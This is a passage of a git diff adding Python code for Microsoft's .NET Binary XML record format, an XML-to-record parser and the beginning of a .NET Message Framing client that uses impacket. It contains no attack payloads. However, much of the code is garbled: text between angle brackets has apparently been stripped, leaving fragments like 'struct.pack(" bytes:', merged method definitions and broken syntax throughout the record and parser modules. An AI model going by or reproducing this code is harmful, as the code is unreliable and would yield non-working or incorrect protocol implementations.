@classmethod + def parse(cls, fp): + index = MultiByteInt31.parse(fp).value + return cls(index) + + +class DictionaryElementRecord(Element): + type = 0x43 + + def __init__(self, prefix: str, index: int, *args, **kwargs): + self.childs = [] + self.prefix = prefix + self.index = index + self.attributes = [] + self.name = DICTIONARY[self.index] + + def __str__(self): + attributes_str = " ".join(str(a) for a in self.attributes) + return f"<{self.prefix}:{self.name}{' ' + attributes_str if attributes_str else ''}>" + + def to_bytes(self) -> bytes: + pref = Utf8String(self.prefix) + string = MultiByteInt31(self.index) + + bytes = ( + super(DictionaryElementRecord, self).to_bytes() + + pref.to_bytes() + + string.to_bytes() + ) + + for attr in self.attributes: + bytes += attr.to_bytes() + return bytes + + @classmethod + def parse(cls, fp): + prefix = Utf8String.parse(fp).value + index = MultiByteInt31.parse(fp).value + return cls(prefix, index) + + +class PrefixElementRecord(ElementRecord): + def __init__(self, name: str): + super(PrefixElementRecord, self).__init__(self.char, name) + + def to_bytes(self) -> bytes: + string = Utf8String(self.name) + + bytes = struct.pack(" bytes: + string = MultiByteInt31(self.index) + + bytes = struct.pack(" Self: + index: int = MultiByteInt31.parse(fp).value + return cls(index) + + +record.add_records( + ( + ShortElementRecord, + ElementRecord, + ShortDictionaryElementRecord, + DictionaryElementRecord, + ) +) + +__records__ = [] + +for c in range(0x44, 0x5D + 1): + char = chr(c - 0x44 + ord("a")) + cls = type( + "PrefixDictionaryElement" + char.upper() + "Record", + (PrefixDictionaryElementRecord,), + dict( + type=c, + char=char, + ), + ) + __records__.append(cls) + +for c in range(0x5E, 0x77 + 1): + char = chr(c - 0x5E + ord("a")) + cls = type( + "PrefixElement" + char.upper() + "Record", + (PrefixElementRecord,), + dict( + type=c, + char=char, + ), + ) + __records__.append(cls) + +record.add_records(__records__) +del __records__ diff --git a/src/encoder/records/record.py b/src/encoder/records/record.py new file mode 100644 index 0000000..24e15fa --- /dev/null +++ b/src/encoder/records/record.py @@ -0,0 +1,208 @@ +import struct + +from typing import Self, Type + +import logging as log + +from .datatypes import MultiByteInt31, Utf8String + + +class record: + records: dict[int, Type[Self]] = dict() + + @classmethod + def add_records(cls, records): + """adds records to the lookup table + + Args: + records (list[record]): list of record subclasses + """ + for r in records: + record.records[r.type] = r + + def __init__(self, type=None): + if type: + self.type = type + + self.childs = [] + self.parent = None + + def to_bytes(self): + """ + Generates the representing bytes of the record + + """ + return struct.pack("" % (type(self).__name__, ",".join(args)) + + @classmethod + def parse(cls, fp) -> list[Self] | Self: + """ + Parses the binary data from fp into record objects + + Args: + fp: file like object to read from + Returns: + (record): a root record object with its child records + """ + if cls != record: + return cls() # TODO: this might need to be removed from list + root = [] + records = root + parents = [] + last_el = None + + while True: + # Gate the parsing. When there is no more + # to read, return the current parsed data + type_byte: bytes = fp.read(1) + if not type_byte: + return root + + type: int = struct.unpack(" bytes: + string = Utf8String(self.comment) + + return super(CommentRecord, self).to_bytes() + string.to_bytes() + + def __str__(self): + return "" % self.comment + + @classmethod + def parse(cls, fp) -> Self: + data: str = Utf8String.parse(fp).value + return cls(data) + + +class ArrayRecord(record): + type = 0x03 + + # note, these are NOT the same thing as like a ZeroTextWithEndElement + # see [MC-NBFX]: 2.2.3.31 + datatypes: dict[int, tuple[str, int, str]] = { + 0xB5: ("BoolTextWithEndElement", 1, "?"), + 0x8B: ("Int16TextWithEndElement", 2, "h"), + 0x8D: ("Int32TextWithEndElement", 4, "i"), + 0x8F: ("Int64TextWithEndElement", 8, "q"), + 0x91: ("FloatTextWithEndElement", 4, "f"), + 0x93: ("DoubleTextWithEndElement", 8, "d"), + 0x95: ("DecimalTextWithEndElement", 16, ""), + 0x97: ("DateTimeTextWithEndElement", 8, ""), + 0xAF: ("TimeSpanTextWithEndElement", 8, ""), + 0xB1: ("UuidTextWithEndElement", 16, ""), + } + + def __init__(self, element, recordtype, data): + super(ArrayRecord, self).__init__() + self.element = element + self.recordtype = recordtype + self.count = len(data) + self.data = data + + def to_bytes(self) -> bytes: + bytes = super(ArrayRecord, self).to_bytes() + bytes += self.element.to_bytes() + bytes += EndElementRecord().to_bytes() + bytes += struct.pack(" Self: + element_type = struct.unpack(" Self: + return cls() + + +class OneTextRecord(Text): + type = 0x82 + + def __str__(self): + return "1" + + @classmethod + def parse(cls, fp) -> Self: + return cls() + + +class FalseTextRecord(Text): + type = 0x84 + + def __str__(self): + return "false" + + @classmethod + def parse(cls, fp) -> Self: + return cls() + + +class TrueTextRecord(Text): + type = 0x86 + + def __str__(self): + return "true" + + @classmethod + def parse(cls, fp) -> Self: + return cls() + + +class Int8TextRecord(Text): + type = 0x88 + + def __init__(self, value): + self.value = value + + def to_bytes(self) -> bytes: + return super(Int8TextRecord, self).to_bytes() + struct.pack(" Self: + return cls(struct.unpack(" bytes: + # print self.value + return struct.pack(" Self: + return cls(struct.unpack(" bytes: + return struct.pack(" Self: + return cls(struct.unpack(" bytes: + return struct.pack(" Self: + return cls(struct.unpack(" bytes: + return struct.pack(" Self: + return cls(struct.unpack(" bytes: + return struct.pack(" Self: + value = True if struct.unpack(" bytes: + data = self.value.encode("utf-16")[2:] # skip bom + bytes = struct.pack(" Self: + ln: int = struct.unpack(" bytes: + data = self.value.encode("utf-16")[2:] # skip bom + bytes = struct.pack(" Self: + ln: int = struct.unpack(" bytes: + data = self.value.encode("utf-16")[2:] # skip bom + bytes = struct.pack(" Self: + ln: int = struct.unpack(" Self: + prefix = chr(struct.unpack(" bytes: + bytes = super(FloatTextRecord, self).to_bytes() + bytes += struct.pack(" Self: + value = struct.unpack(" bytes: + bytes = super(FloatTextRecord, self).to_bytes() + bytes += struct.pack(" Self: + value = struct.unpack(" bytes: + return super(DecimalTextRecord, self).to_bytes() + self.value.to_bytes() + + @classmethod + def parse(cls, fp) -> Self: + value = Decimal.parse(fp) + return cls(value) + + +class DatetimeTextRecord(Text): + type = 0x96 + + def __init__(self, value: int, tz: int): + self.value = value + self.tz = tz + + def __str__(self): + ticks = self.value + dt = datetime.datetime(1, 1, 1) + datetime.timedelta(microseconds=ticks / 10) + return dt.isoformat() + + def to_bytes(self) -> bytes: + bytes = super(DatetimeTextRecord, self).to_bytes() + bytes += struct.pack( + " Self: + data = struct.unpack(" bytes: + data = self.value.encode("utf-8") + bytes = struct.pack(" Self: + ln = struct.unpack(" bytes: + data = self.value.encode("utf-8") + bytes = struct.pack(" Self: + ln = struct.unpack(" bytes: + data = self.value.encode("utf-8") + bytes = struct.pack(" Self: + ln = struct.unpack(" bytes: + bytes = super(UniqueIdTextRecord, self).to_bytes() + bytes += struct.pack(" Self: + uuid = struct.unpack(" bytes: + bytes = struct.pack(" Self: + ln = struct.unpack(" bytes: + bytes = struct.pack(" Self: + ln = struct.unpack(" bytes: + bytes = struct.pack(" Self: + ln = struct.unpack(" bytes: + return super(TimeSpanTextRecord, self).to_bytes() + struct.pack( + " Self: + value = struct.unpack(" bytes: + return ( + super(DictionaryTextRecord, self).to_bytes() + + MultiByteInt31(self.index).to_bytes() + ) + + def __str__(self): + return DICTIONARY[self.index] + + @classmethod + def parse(cls, fp) -> Self: + index = MultiByteInt31.parse(fp).value + return cls(index) + + +record.add_records( + ( + ZeroTextRecord, + OneTextRecord, + FalseTextRecord, + TrueTextRecord, + Int8TextRecord, + Int16TextRecord, + Int32TextRecord, + Int64TextRecord, + UInt64TextRecord, + BoolTextRecord, + UnicodeChars8TextRecord, + UnicodeChars16TextRecord, + UnicodeChars32TextRecord, + QNameDictionaryTextRecord, + FloatTextRecord, + DoubleTextRecord, + DecimalTextRecord, + DatetimeTextRecord, + Chars8TextRecord, + Chars16TextRecord, + Chars32TextRecord, + UniqueIdTextRecord, + UuidTextRecord, + Bytes8TextRecord, + Bytes16TextRecord, + Bytes32TextRecord, + StartListTextRecord, + EndListTextRecord, + EmptyTextRecord, + TimeSpanTextRecord, + DictionaryTextRecord, + ) +) diff --git a/src/encoder/records/utils.py b/src/encoder/records/utils.py new file mode 100644 index 0000000..c1320ce --- /dev/null +++ b/src/encoder/records/utils.py @@ -0,0 +1,141 @@ +import logging as log + +from .record import Element, EndElementRecord, record +from .text import Text + + +def print_records(records, first_call=True) -> str: + """ + returns the given record tree as a string + """ + + if not records: + return "" + + output = "" + for r in records: + if isinstance(r, EndElementRecord): + continue + + output += str(r) + new_line = "" + if hasattr(r, "childs"): + new_line = print_records(r.childs, False) + if isinstance(r, Element): + output += new_line + if hasattr(r, "prefix"): + output += "" % (r.prefix, r.name) + else: + output += "" % r.name + return output + + +def pretty_print_records(records, skip=0, first_call=True) -> str: + """prints the given record tree into a file like object""" + + if not records: + return "" + + output = "" + for r in records: + if isinstance(r, EndElementRecord): + continue + if isinstance(r, Element): + output += str(r) + else: + output += str(r) + + new_line = "" + if hasattr(r, "childs"): + new_line = pretty_print_records(r.childs, skip + 1, False) + if isinstance(r, Element): + output += new_line + if new_line: + output += "\r\n" + " " * skip + if hasattr(r, "prefix"): + output += "" % (r.prefix, r.name) + else: + output += "" % r.name + return output + + +def dump_records(records: list[record]) -> bytes: + """ + returns the byte representation of a given record tree + + """ + out = b"" + + for r in records: + msg = f"Write {type(r).__name__}" + + if r == records[-1] and isinstance(r, Text): + r.type = r.type + 1 + msg += " with EndElement (0x%X)" % r.type + log.debug(msg) + log.debug(f"Value {r}") + + if ( + isinstance(r, Element) + and not isinstance(r, EndElementRecord) + and len(r.attributes) + ): + log.debug(" Attributes:") + for a in r.attributes: + log.debug(f" {type(a).__name__}: {a}") + + out += r.to_bytes() + + if hasattr(r, "childs"): + out += dump_records(r.childs) + + # only print the end element if the current record is NOT a "*WithEnd" record type + if (not r.childs or not isinstance(r.childs[-1], Text)) and not isinstance( + r, Text + ): + log.debug(f"Write EndElement for {type(r).__name__}") + out += EndElementRecord().to_bytes() + + elif isinstance(r, Element) and not isinstance(r, EndElementRecord): + log.debug(f"Write EndElement for {type(r).__name__}") + out += EndElementRecord().to_bytes() + + return out + + +class Net7BitInteger(object): + @staticmethod + def decode7bit(data: bytes) -> tuple[int, int]: + MAXMBI = 0x7F + + length = 0 + value = 0 + for i in range(5): + length += 1 + v = data[i] + value |= (v & MAXMBI) << 7 * i + if not v & (MAXMBI + 1): + break + return value, length + + @staticmethod + def encode7bit(value): + MAXMBI = 0x7F + if value < 0: + raise ValueError("Signed numbers are not supported") + + if value <= MAXMBI: + return bytes([value]) + + result = [] + for _ in range(5): + byte = value & MAXMBI + value >>= 7 + if value != 0: + byte |= MAXMBI + 1 + result.append(byte) + + if value == 0: + break + + return bytes(result) diff --git a/src/encoder/xml_parser.py b/src/encoder/xml_parser.py new file mode 100644 index 0000000..820956a --- /dev/null +++ b/src/encoder/xml_parser.py @@ -0,0 +1,392 @@ +import base64 +import logging as log +import re +from html import unescape +from html.parser import HTMLParser +from typing import TextIO + +from .records import INVERTED_DICT +from .records.attributes import * +from .records.elements import * +from .records.record import * +from .records.text import * + +classes = dict([(i.__name__, i) for i in record.records.values()]) + +int_reg = re.compile(r"^-?\d+$") +uint_reg = re.compile(r"^\d+$") +uuid_reg = re.compile(r"^(([a-fA-F0-9]{8})-(([a-fA-F0-9]{4})-){3}([a-fA-F0-9]{12}))$") +uniqueid_reg = re.compile( + r"^urn:uuid:(([a-fA-F0-9]{8})-(([a-fA-F0-9]{4})-){3}([a-fA-F0-9]{12}))$" +) +base64_reg = re.compile(r"^[a-zA-Z0-9/+]*={0,2}$") +float_reg = re.compile(r"^-?(INF)|(NaN)|(\d+(\.\d+)?)$") + +datetime_reg = re.compile( + r"^\d{4}-\d{2}-\d{2}(T\d{2}:\d{2}:\d{2}(\.\d{1,7})?)?(Z|(\+|-\d{2}:\d{2}))" +) + +# https://github.com/python/cpython/blob/3.12/Lib/html/parser.py +tagfind_tolerant = re.compile(r"([a-zA-Z][^\t\n\r\f />\x00]*)(?:\s|/(?!>))*") +attrfind_tolerant = re.compile( + r'((?<=[\'"\s/])[^\s/>][^\s/=>]*)(\s*=+\s*' + r'(\'[^\']*\'|"[^"]*"|(?![\'"])[^>\s]*))?(?:\s|/(?!>))*' +) + +endendtag = re.compile(">") +# the HTML 5 spec, section 8.1.2.2, doesn't allow spaces between +# ") + + +# https://github.com/python/cpython/blob/main/Lib/_markupbase.py +_markedsectionclose = re.compile(r"]\s*]\s*>") +_msmarkedsectionclose = re.compile(r"]\s*>") + + +class XMLParser(HTMLParser): + def reset(self): + HTMLParser.reset(self) + self.records = [] + self.last_record = record() + self.last_record.childs = self.records + self.last_record.parent = None + self.data = None + + # ============ overrides to prevent lowercasing names =============== + # this breaks standard and makes dictionary lookups hard + + # Internal -- handle starttag, return end or -1 if not terminated + def parse_starttag(self, i): + self.__starttag_text = None + endpos = self.check_for_whole_start_tag(i) + if endpos < 0: + return endpos + rawdata = self.rawdata + self.__starttag_text = rawdata[i:endpos] + + # Now parse the data between i+1 and j into a tag and attrs + attrs = [] + match = tagfind_tolerant.match(rawdata, i + 1) + assert match, "unexpected call to parse_starttag()" + k = match.end() + self.lasttag = tag = match.group(1) + while k < endpos: + m = attrfind_tolerant.match(rawdata, k) + if not m: + break + attrname, rest, attrvalue = m.group(1, 2, 3) + if not rest: + attrvalue = None + elif ( + attrvalue[:1] == "'" == attrvalue[-1:] + or attrvalue[:1] == '"' == attrvalue[-1:] + ): + attrvalue = attrvalue[1:-1] + if attrvalue: + attrvalue = unescape(attrvalue) + attrs.append((attrname, attrvalue)) + k = m.end() + + end = rawdata[k:endpos].strip() + if end not in (">", "/>"): + self.handle_data(rawdata[i:endpos]) + return endpos + if end.endswith("/>"): + # XHTML-style empty tag: + self.handle_startendtag(tag, attrs) + else: + self.handle_starttag(tag, attrs) + if tag in self.CDATA_CONTENT_ELEMENTS: + self.set_cdata_mode(tag) + return endpos + + # Internal -- parse endtag, return end or -1 if incomplete + def parse_endtag(self, i): + rawdata = self.rawdata + assert rawdata[i : i + 2] == " + if not match: + return -1 + gtpos = match.end() + match = endtagfind.match(rawdata, i) # + if not match: + if self.cdata_elem is not None: + self.handle_data(rawdata[i:gtpos]) + return gtpos + # find the name: w3.org/TR/html5/tokenization.html#tag-name-state + namematch = tagfind_tolerant.match(rawdata, i + 2) + if not namematch: + # w3.org/TR/html5/tokenization.html#end-tag-open-state + if rawdata[i : i + 3] == "": + return i + 3 + else: + return self.parse_bogus_comment(i) + tagname = namematch.group(1) + # consume and ignore other stuff between the name and the > + # Note: this is not 100% correct, since we might have things like + # , but looking for > after the name should cover + # most of the cases and is much simpler + gtpos = rawdata.find(">", namematch.end()) + self.handle_endtag(tagname) + return gtpos + 1 + + elem = match.group(1) # script or style + if self.cdata_elem is not None: + if elem != self.cdata_elem: + self.handle_data(rawdata[i:gtpos]) + return gtpos + + self.handle_endtag(elem) + self.clear_cdata_mode() + return gtpos + + def set_cdata_mode(self, elem): + self.cdata_elem = elem.lower() + self.interesting = re.compile(r"" % self.cdata_elem, re.I) + + # ============= end overrides ================= + + def _parse_tag(self, tag: str) -> record: + if ":" in tag: + prefix, name = tag.split(":", 1) + + if len(prefix) == 1: + cls_name = "Element" + prefix.upper() + "Record" + if name in INVERTED_DICT: + cls_name = "PrefixDictionary" + cls_name + log.debug("New %s: %s" % (cls_name, name)) + return classes[cls_name](INVERTED_DICT[name]) + else: + cls_name = "Prefix" + cls_name + log.debug("New %s: %s" % (cls_name, name)) + return classes[cls_name](name) + else: + if name in INVERTED_DICT: + log.debug("New DictionaryElementRecord: %s:%s" % (prefix, name)) + return DictionaryElementRecord(prefix, INVERTED_DICT[name]) + else: + log.debug("New ElementRecord: %s:%s" % (prefix, name)) + return ElementRecord(prefix, name) + else: + if tag in INVERTED_DICT: + log.debug("New ShortDictionaryElementRecord: %s" % (tag,)) + return ShortDictionaryElementRecord(INVERTED_DICT[tag]) + else: + log.debug("New ShortElementRecord: %s" % (tag,)) + return ShortElementRecord(tag) + + def _store_data(self, data, end=False): + textrecord = self._parse_data(data) + if isinstance(textrecord, EmptyTextRecord): + return + log.debug("New %s: %s" % (type(textrecord).__name__, data)) + + self.last_record.childs.append(textrecord) + + def _parse_data(self, data): + data = data.strip() if data else data + b64 = False + try: + if base64_reg.match(data): + base64.b64decode(data) + b64 = True + except: + b64 = False + if data == "0": + return ZeroTextRecord() + elif data == "1": + return OneTextRecord() + elif data.lower() == "false": + return FalseTextRecord() + elif data.lower() == "true": + return TrueTextRecord() + elif len(data) > 3 and data[1] == ":" and data[2:] in INVERTED_DICT: + return QNameDictionaryTextRecord(data[0], INVERTED_DICT[data[2:]]) + elif uniqueid_reg.match(data): + m = uniqueid_reg.match(data) + return UniqueIdTextRecord(m.group(1)) + elif uuid_reg.match(data): + m = uuid_reg.match(data) + return UuidTextRecord(m.group(1)) + elif int_reg.match(data): + val = int(data) + if val >= -(2**7) and val <= 2**7 - 1: + return Int8TextRecord(val) + elif val >= -(2**15) and val <= 2**15 - 1: + return Int16TextRecord(val) + elif val >= -(2**31) and val <= 2**31 - 1: + return Int32TextRecord(val) + elif val >= -(2**63) and val <= 2**63 - 1: + return Int64TextRecord(val) + else: + val = len(data) + if val < 2**8: + return Chars8TextRecord(data) + elif val < 2**16: + return Chars16TextRecord(data) + elif val < 2**32: + return Chars32TextRecord(data) + elif data == "": + return EmptyTextRecord() + elif b64: + data = base64.b64decode(data) + val = len(data) + if val < 2**8: + return Bytes8TextRecord(data) + elif val < 2**16: + return Bytes16TextRecord(data) + elif val < 2**32: + return Bytes32TextRecord(data) + elif float_reg.match(data): + return DoubleTextRecord(float(data)) + elif data in INVERTED_DICT: + return DictionaryTextRecord(INVERTED_DICT[data]) + elif datetime_reg.match(data) and False: # TODO + raise NotImplementedError("datetime isnt implmented rn") + else: + val = len(data) + if val < 2**8: + return Chars8TextRecord(data) + elif val < 2**16: + return Chars16TextRecord(data) + elif val < 2**32: + return Chars32TextRecord(data) + + def _parse_attr(self, name, value): + if ":" in name: + prefix = name[: name.find(":")] + name = name[name.find(":") + 1 :] + + if prefix == "xmlns": + if value in INVERTED_DICT: + return DictionaryXmlnsAttributeRecord(name, INVERTED_DICT[value]) + else: + return XmlnsAttributeRecord(name, value) + elif len(prefix) == 1: + value = self._parse_data(value) + cls_name = "Attribute" + prefix.upper() + "Record" + if name in INVERTED_DICT: + return classes["PrefixDictionary" + cls_name]( + INVERTED_DICT[name], value + ) + else: + return classes["Prefix" + cls_name](name, value) + else: + value = self._parse_data(value) + if name in INVERTED_DICT: + return DictionaryAttributeRecord(prefix, INVERTED_DICT[name], value) + else: + return AttributeRecord(prefix, name, value) + elif name == "xmlns": + if value in INVERTED_DICT: + return ShortDictionaryXmlnsAttributeRecord(INVERTED_DICT[value]) + else: + return ShortXmlnsAttributeRecord(value) + else: + value = self._parse_data(value) + if name in INVERTED_DICT: + return ShortDictionaryAttributeRecord(INVERTED_DICT[name], value) + else: + return ShortAttributeRecord(name, value) + + def handle_starttag(self, tag: str, attrs): + if self.data: + self._store_data(self.data, False) + self.data = None + + el = self._parse_tag(tag) + for n, v in attrs: + el.attributes.append(self._parse_attr(n, v)) + self.last_record.childs.append(el) + el.parent = self.last_record + self.last_record = el + + def handle_startendtag(self, tag: str, attrs: list): + if self.data: + self._store_data(self.data, False) + self.data = None + + el = self._parse_tag(tag) + for n, v in attrs: + el.attributes.append(self._parse_attr(n, v)) + self.last_record.childs.append(el) + + def handle_endtag(self, tag: str): + if self.data: + self._store_data(self.data, True) + self.data = None + self.last_record = self.last_record.parent + + def handle_data(self, data): + if not self.data: + self.data = data + else: + self.data += data + + def handle_charref(self, name): + if name[0] == "x": + self.handle_data(chr(int(name[1:], 16))) + else: + self.handle_data(chr(int(name, 10))) + + def handle_entityref(self, name): + self.handle_data(unescape("&%s;" % name)) + + def handle_comment(self, data): + if self.data: + self._store_data(self.data, False) + self.data = None + + self.last_record.childs.append(CommentRecord(data)) + + def parse_marked_section(self, i, report=1): + rawdata = self.rawdata + assert rawdata[i : i + 3] == " ending + match = _markedsectionclose.search(rawdata, i + 3) + elif sectName in ("if", "else", "endif"): + # look for MS Office ]> ending + match = _msmarkedsectionclose.search(rawdata, i + 3) + else: + log.error( + "unknown status keyword %r in marked section" % rawdata[i + 3 : j] + ) + + if not match: + return -1 + if report: + if sectName == "cdata": + assert rawdata[j] == "[" + self.handle_data(rawdata[j + 1 : match.start(0)]) + else: + j = match.start(0) + self.unknown_decl(rawdata[i + 3 : j]) + return match.end(0) + + @classmethod + def parse(cls, data: str | TextIO): + """ + Parses a XML String/Fileobject into a Record tree + + Args: + data(str | TextIO): a Record tree + """ + p = cls() + xml = None + if isinstance(data, str): + xml = data + elif hasattr(data, "read"): + xml = data.read() + else: + raise ValueError("%s has an incompatible type %s" % (data, type(data))) + + p.feed(xml) + + return p.records diff --git a/src/ms_nmf.py b/src/ms_nmf.py new file mode 100644 index 0000000..6ed4665 --- /dev/null +++ b/src/ms_nmf.py @@ -0,0 +1,531 @@ +import socket +from enum import IntEnum +from typing import Type + +import impacket.structure + +from .encoder import Encoder +from .ms_nns import NNS + +""" +[MC-NMF]: .NET Message Framing Protocol. This is the initiator (client) implementation. +Only Duplex mode is implmented. + +""" + + +class RecordType(IntEnum): + """ + Protocol for record exchange + + [MC-NMF]: 2.2.1 + """ + + VERSION = 0x0 + MODE = 0x1 + VIA = 0x2 + KNOWN_ENCODING = 0x3 + EXTENSIBLE_ENCODING = 0x4 + UNSIZED_ENVELOPE = 0x5 + SIZED_ENVELOPE = 0x6 + END = 0x7 + FAULT = 0x8 + UPGRADE_REQUEST = 0x9 + UPGRADE_RESPONSE = 0xA + PREAMBLE_ACK = 0xB + PREAMBLE_END = 0xC + + +class Mode(IntEnum): + """Communication mode + + [MC-NMF]: 2.2.3.2 + """ + + SINGELTON_UNSIZED = 0x1 + DUPLEX = 0x2 + SIMPLEX = 0x3 + SINGLETON_SIZED = 0x4 + + +class KnownEncoding(IntEnum): + """Encoding Envelope Records + + [MC-NMF]: 2.2.3.4.1 + """ + + # soap 1.1 + SOAP1_1_UTF8 = 0x0 # [RFC2279] + SOAP1_1_UTF16 = 0x1 # [RFC2781] + SOAP1_1_UNICODE_LE = 0x2 + + # soap 1.2 + SOAP1_2_UTF8 = 0x3 + SOAP1_2_UTF16 = 0x4 + SOAP1_2_UNICODE = 0x5 + SOAP1_2_MTOM = 0x6 # [SOAP-MTOM] + SOAP1_2_BINARY = 0x7 # [MC-NBFS] + SOAP1_2_BINARY_INBAND_DICT = 0x8 # [MC-NBFSE] + + +class NMFServerFault(Exception): ... + + +class NMFUnknownRecord: + def __init__(self, data=""): + raise NMFServerFault(f"NMFUnknownRecord type {data}") + + +class NMFRecord(impacket.structure.Structure): + structure: tuple[tuple[str, str] | tuple[str, str, object], ...] + + def send(self, sock: socket.socket | NNS): + sock.sendall(self.getData()) + + @staticmethod + def encode_size(size: int) -> bytes: + """NMF variable size encoding for records. + + [MC-NMF]: 2.2.2 + + Args: + size (int): size of the record payload + + Returns: + bytes: packed and encoded size as bytes + """ + MAXMBI = 0x7F + if size < 0: + raise ValueError("Signed numbers are not supported") + + if size <= MAXMBI: + return bytes([size]) + + result = [] + for _ in range(5): + byte = size & MAXMBI + size >>= 7 + if size != 0: + byte |= MAXMBI + 1 + result.append(byte) + + if size == 0: + break + + return bytes(result) + + @staticmethod + def decode_size(encoded_data: bytes) -> tuple[int, int, bytes]: + """NMF decode size of record payload. + + Returns the size of the payload, and also the number of bytes the size + value takes. The size field is variable length. + + To use this method, first slice off the record type so that the first + field in the encoded_data is the size feild + + The size feild can be max 5 bytes long. + + [MC-NMF]: 2.2.2 + + Args: + encoded_data (bytes): payload with size included + + Returns: + tuple[int, int, bytes]: size of the payload, the number of bytes in the size field, the payload + """ + + size = 0 + shift = 0 + len_length = 0 + + max_len = min(len(encoded_data), 5) + + for i in range(max_len): + byte = encoded_data[i] + + len_length += 1 + size |= (byte & 0x7F) << shift + if not (byte & 0x80): + return size, len_length, encoded_data[len_length:] + shift += 7 + + if size > 0xFFFFFFFF: + raise ValueError("Size too big") + + return size, 1, encoded_data[1:] + + +class NMFVersion(NMFRecord): + structure = ( + ("record_type", ">B"), + ("major_version", ">B"), + ("minor_version", ">B"), + ) + + def __init__( + self, major_version: int = 0, minor_version: int = 0, data: None | bytes = None + ): + impacket.structure.Structure.__init__(self, data=data) + if not data: + self["record_type"] = RecordType.VERSION + self["major_version"] = major_version + self["minor_version"] = minor_version + + +class NMFMode(NMFRecord): + structure = ( + ("record_type", ">B"), + ("mode", ">B"), + ) + + def __init__(self, mode: int = 0, data: None | bytes = None): + impacket.structure.Structure.__init__(self, data=data) + if not data: + self["record_type"] = RecordType.MODE + self["mode"] = mode + + +class NMFVia(NMFRecord): + structure = ( + ("record_type", ">B"), + ("via_len", ":"), # warning, this is variable length field + ("via", ":"), + ) + + def __init__(self, via: str = "", data: None | bytes = None): + """This record has variable length field encoding on the + via_len field. Reading 'via_len' will not return a correct + value. + + Args: + via (str): via to send + data (bytes): a packed full length record + """ + impacket.structure.Structure.__init__(self) + if data: + self["record_type"] = data[0] + _, _, payload = self.decode_size(data[1:]) + self["via"] = payload.decode("utf-8") + else: + self["record_type"] = RecordType.VIA + self["via_len"] = self.encode_size(len(via.encode("utf-8"))) + self["via"] = via.encode("utf-8") + + +class NMFKnownEncoding(NMFRecord): + structure = ( + ("record_type", ">B"), + ("encoding", ">B"), + ) + + def __init__(self, encoding: int = 0, data: None | bytes = None): + impacket.structure.Structure.__init__(self, data=data) + if not data: + self["record_type"] = RecordType.KNOWN_ENCODING + self["encoding"] = encoding + + +class NMFExtensibleEncoding(NMFRecord): ... + + +class NMFSizedEnvelope(NMFRecord): + structure = ( + ("record_type", ">B"), + ("size", ":"), + ("payload", ":"), + ) + + def __init__(self, payload: bytes = bytes(), data: None | bytes = None): + """This record has variable length field encoding on the + 'size' field. Reading 'size' will not return a correct + value. + + Args: + payload (bytes): payload to send + data (bytes): a packed sized envelope record + """ + impacket.structure.Structure.__init__(self, data=data) + if data: + self["record_type"] = data[0] + _, _, env_payload = self.decode_size(data[1:]) + self["payload"] = env_payload + else: + self["record_type"] = RecordType.SIZED_ENVELOPE + self["size"] = self.encode_size(len(payload)) + self["payload"] = payload + + +class NMFEnd(NMFRecord): + structure = (("record_type", ">B"),) + + def __init__(self, data: None | bytes = None): + impacket.structure.Structure.__init__(self, data=data) + if not data: + self["record_type"] = RecordType.END + + +class NMFUnsizedEnvelope(NMFRecord): ... + + +class NMFFault(NMFRecord): + structure = ( + ("record_type", ">B"), + ("size", ":"), + ("fault", ":"), + ) + + def __init__(self, fault: str = "", data: None | bytes = None): + """This record has variable length field encoding on the + 'size' field. Reading 'size' will not return a correct + value. + + Args: + fault (str): fault msg to send + data (bytes): a packed full length record + """ + impacket.structure.Structure.__init__(self, data=data) + if data: + self["record_type"] = data[0] + _, _, payload = self.decode_size(data[1:]) + self["fault"] = payload.decode("utf-8") + + else: + self["record_type"] = RecordType.FAULT + self["size"] = self.encode_size(len(fault.encode("utf-8"))) + self["fault"] = fault.encode("utf-8") + + +class NMFUpgradeRequest(NMFRecord): + structure = ( + ("record_type", ">B"), + ("proto_len", ":"), + ("proto", ":"), + ) + + def __init__(self, proto: str = "application/negotiate", data: None | bytes = None): + """This record has variable length field encoding on the + 'proto_len' field. Reading 'proto_len' will not return a correct + value. + + Args: + proto (str): proto to send + data (bytes): a packed full length record + """ + + impacket.structure.Structure.__init__(self, data=data) + + if data: + self["record_type"] = data[0] + _, _, payload = self.decode_size(data[1:]) + self["proto"] = payload.decode("utf-8") + else: + self["record_type"] = RecordType.UPGRADE_REQUEST + self["proto_len"] = self.encode_size(len(proto.encode("utf-8"))) + self["proto"] = proto.encode("utf-8") + + +class NMFUpgradeResponse(NMFRecord): + structure = (("record_type", ">B"),) + + def __init__(self, data: None | bytes = None): + impacket.structure.Structure.__init__(self, data=data) + if not data: + self["record_type"] = RecordType.UPGRADE_RESPONSE + + +class NMFPreambleEnd(NMFRecord): + structure = (("record_type", ">B"),) + + def __init__(self, data: None | bytes = None): + impacket.structure.Structure.__init__(self, data=data) + if not data: + self["record_type"] = RecordType.PREAMBLE_END + + +class NMFPreambleAck(NMFRecord): + structure = (("record_type", ">B"),) + + def __init__(self, data: None | bytes = None): + impacket.structure.Structure.__init__(self, data=data) + if not data: + self["record_type"] = RecordType.PREAMBLE_ACK + + +class NMFPreamble(NMFRecord): + structure = ( + ("version", ":"), + ("mode", ":"), + ("via", ":"), + ("encoding", ":"), + ) + + def __init__( + self, + version: tuple[int, int] = (1, 1), + mode: int = 0, + via: str = "", + encoding: int = 0, + ): + impacket.structure.Structure.__init__(self) + self["version"] = NMFVersion(*version).getData() + self["mode"] = NMFMode(mode).getData() + self["via"] = NMFVia(via).getData() + self["encoding"] = NMFKnownEncoding(encoding).getData() + + +class NMFConnection: + def __init__( + self, + nns: NNS, + fqdn: str, + mode: int = Mode.DUPLEX, + encoding: int = KnownEncoding.SOAP1_2_BINARY_INBAND_DICT, + ): + """ + Args: + nns (NNS): NNS Connection object + fqdn (str): FQDN of endpoint we wish to talk to + """ + + self._nns: NNS = nns + self._sock: socket.socket = nns._sock + + # before being upgraded, the transport is raw socket + self._transport: NNS | socket.socket = self._sock + + self._mode = mode + self._encoding = encoding + self._fqdn = fqdn + + self._encoder = Encoder(self._encoding) + + def _throw_if_not(self, expected: Type[NMFRecord], got: NMFRecord): + """Allows for quick validation of expected responses. If not expected + checks for fault, and throws + + Args: + expected (NMFRecord): the type you expected + got (NMFRecord): what you have + """ + + if not isinstance(got, expected): + if isinstance(got, NMFFault): + raise ConnectionError(got["fault"]) + raise ConnectionError( + f"Unexpected server response. Expected {expected['record_type']}, got {got['record_type']}" + ) + + def _upgrade(self): + """Upgrade if using NNS for transport, + otherwise do nothing. This allows for support + of unauthenticated transport for things like MEX + """ + + if not 